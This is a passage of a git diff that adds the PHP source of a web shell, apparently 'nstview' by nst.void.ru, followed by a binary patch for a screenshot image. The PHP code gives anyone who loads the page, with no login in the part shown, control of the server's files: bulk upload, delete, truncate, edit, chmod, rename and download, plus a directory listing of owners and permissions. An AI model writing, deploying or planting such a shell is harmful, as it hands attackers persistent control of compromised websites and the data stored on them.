+$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile1</i><br>";} +if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile2</i><br>";} +if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile3</i><br>";} +if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile4</i><br>";} +if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile5</i><br>";} +if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile6</i><br>";} +if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile7</i><br>";} +if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile8</i><br>";} +if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile9</i><br>";} +if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile10</i><br>";} +if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile11</i><br>";} +if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile12</i><br>";} +if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile13</i><br>";} +if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile14</i><br>";} +if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile15</i><br>";} +if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile16</i><br>";} +if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile17</i><br>";} +if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile18</i><br>";} +if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile19</i><br>";} +if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) { +$where=str_replace("\\\\","\\",$where); +echo "<i>Uploaded to $uploadfile20</i><br>";} +} +echo $copyr; +exit;} + +if(@$_GET['yes']=="yes"){ +$d=@$_GET['d']; $e=@$_GET['e']; +unlink($d."/".$e); +$delresult="Success $d/$e deleted <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?d=$d\">"; +} +if(@$_GET['clean']=="1"){ +@$e=$_GET['e']; +$x=fopen("$d/$e","w"); +fwrite($x,""); +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=".@$e."\">"; +exit; +} + + +if(@$_GET['e']){ +$d=@$_GET['d']; +$e=@$_GET['e']; +$pinf=pathinfo($e); +if(in_array(".".@$pinf['extension'],$images)){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e&img=1\">"; +exit;} +$filename="$d/$e"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$e; +$de=str_replace("//","/",$de); +if(is_file($de)){ +if(!is_writable($de)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +echo " +File contents:<br> +$de +<br> +<table width=100% border=1 cellpadding=0 cellspacing=0> +<tr><td><pre> +$c + +</pre></td></tr> +</table> + +"; + +if(@$_GET['delete']=="1"){ +$delete=$_GET['delete']; +echo " +DELETE: Are you sure?<br> +<a href=\"$php_self?d=$d&e=$e&delete=".@$delete."&yes=yes\">Yes</a> || <a href='$php_self?no=1'>No</a> +<br> +"; +if(@$_GET['yes']=="yes"){ +@$d=$_GET['d']; @$e=$_GET['e']; +echo $delresult; +} +if(@$_GET['no']){ +echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e\"> +"; +} + + +} #end of delete +echo $copyr; +exit; +} #end of e + +if(@$_GET['edit']=="1"){ +@$d=$_GET['d']; +@$ef=$_GET['ef']; +$e=$ef; +if(is_file($d."/".$ef)){ +if(!is_writable($d."/".$ef)){echo "<font color=red>READ ONLY</font><br>";}} +echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>"; +$filename="$d/$ef"; +$fd = @fopen ($filename, "r"); +$c = @fread ($fd, @filesize ($filename)); +$c=htmlspecialchars($c); +$de=$d."/".$ef; +$de=str_replace("//","/",$de); +echo " +Edit:<br> +$de<br>"; + +if(!@$_POST['save']){ +print " +<form method=post> +<input name=filename value='$d/$ef'> +<textarea cols=143 rows=30 name=editf>$c</textarea> +<br> +<input type=submit name=save value='Save changes'></form><br> +"; +} +if(@$_POST['save']){ +$editf=@$_POST['editf']; + +if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){ +$editf=stripslashes($editf); +} + +$f=fopen($filename,"w+"); +fwrite($f,"$editf"); +echo "<br> +<b>File edited.</b> +<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$ef\">"; +exit; +} +echo $copyr; +exit; +} + + + +echo" +<table width=100% cellpadding=1 cellspacing=0 class=hack> +<tr><td bgcolor=#519A00><center><b>Filename</b></td><td bgcolor=#519A00><center><b>Tools</b></td><td bgcolor=#519A00><b>Size</b></td><td bgcolor=#519A00><center><b>Owner/Group</b></td><td bgcolor=#519A00><b>Perms</b></td></tr> +"; +$dirs=array(); +$files=array(); +$dh = @opendir($d) or die("<table width=100%><tr><td><center>Permission Denied or Folder/Disk does not exist</center><br>$copyr</td></tr></table>"); +while (!(($file = readdir($dh)) === false)) { +if ($file=="." || $file=="..") continue; +if (@is_dir("$d/$file")) { + $dirs[]=$file; +}else{ + $files[]=$file; + } + sort($dirs); + sort($files); + +$fz=@filesize("$d/$file"); +} + +function perm($perms){ +if (($perms & 0xC000) == 0xC000) { + $info = 's'; +} elseif (($perms & 0xA000) == 0xA000) { + $info = 'l'; +} elseif (($perms & 0x8000) == 0x8000) { + $info = '-'; +} elseif (($perms & 0x6000) == 0x6000) { + $info = 'b'; +} elseif (($perms & 0x4000) == 0x4000) { + $info = 'd'; +} elseif (($perms & 0x2000) == 0x2000) { + $info = 'c'; +} elseif (($perms & 0x1000) == 0x1000) { + $info = 'p'; +} else { + $info = 'u'; +} +$info .= (($perms & 0x0100) ? 'r' : '-'); +$info .= (($perms & 0x0080) ? 'w' : '-'); +$info .= (($perms & 0x0040) ? + (($perms & 0x0800) ? 's' : 'x' ) : + (($perms & 0x0800) ? 'S' : '-')); +$info .= (($perms & 0x0020) ? 'r' : '-'); +$info .= (($perms & 0x0010) ? 'w' : '-'); +$info .= (($perms & 0x0008) ? + (($perms & 0x0400) ? 's' : 'x' ) : + (($perms & 0x0400) ? 'S' : '-')); +$info .= (($perms & 0x0004) ? 'r' : '-'); +$info .= (($perms & 0x0002) ? 'w' : '-'); +$info .= (($perms & 0x0001) ? + (($perms & 0x0200) ? 't' : 'x' ) : + (($perms & 0x0200) ? 'T' : '-')); +return $info; +} + + +for($i=0; $i<count($dirs); $i++){ + +$perms = @fileperms($d."/".$dirs[$i]); +$owner = @fileowner($d."/".$dirs[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$dirs[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D7FFA8";}else{$color="#D1D1D1";} +$linkd="<a href='$php_self?d=$d/$dirs[$i]'>$dirs[$i]</a>"; +$linkd=str_replace("//","/",$linkd); +echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +for($i=0; $i<count($files); $i++){ + +$size=@filesize($d."/".$files[$i]); +$perms = @fileperms($d."/".$files[$i]); +$owner = @fileowner($d."/".$files[$i]); +if($os=="unix"){ +$fileownera=posix_getpwuid($owner); +$owner=$fileownera['name']; +} +$group = @filegroup($d."/".$files[$i]); +if($os=="unix"){ +$groupinfo = posix_getgrgid($group); +$group=$groupinfo['name']; +} +$info=perm($perms); +if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";} + +if ($size < 1024){$siz=$size.' b'; +}else{ +if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{ +if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{ +if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';} +}}} +echo "<tr><td bgcolor=$color><font face=wingdings size=3>2</font> <a href='$php_self?d=$d&e=$files[$i]'>$files[$i]</a></td><td bgcolor=$color><center><a href=\"javascript:ShowOrHide('$i','')\">[options]</a><div id='$i' style='display:none;z-index:1;' ><a href='$php_self?d=$d&ef=$files[$i]&edit=1' title='Edit $files[$i]'><b>Edit</b></a><br><a href='$php_self?d=$d&del_f=1&wich_f=$files[$i]' title='Delete $files[$i]'><b>Delete</b></a><br><a href='$php_self?d=$d&chmod=1&wich_f=$files[$i]' title='chmod $files[$i]'><b>CHMOD</b></a><br><a href='$php_self?d=$d&rename=1&wich_f=$files[$i]' title='Rename $files[$i]'><b>Rename</b></a><br><a href='$php_self?d=$d&download=$files[$i]' title='Download $files[$i]'><b>Download</b></a><br><a href='$php_self?d=$d&ccopy_to=$files[$i]' title='Copy $files[$i] to?'><b>Copy</b></a></div></td><td bgcolor=$color>$siz</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>"; +} + +echo "</table></td></tr></table>"; +echo $copyr; + +?> +<!-- Network security team :: nst.void.ru --> \ No newline at end of file diff --git a/php/PHPshell/nstview/nstview2.jpg b/php/PHPshell/nstview/nstview2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..ac3111573ae5d158a2d6aad255c3bd94325e2730 GIT binary patch literal 72232 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 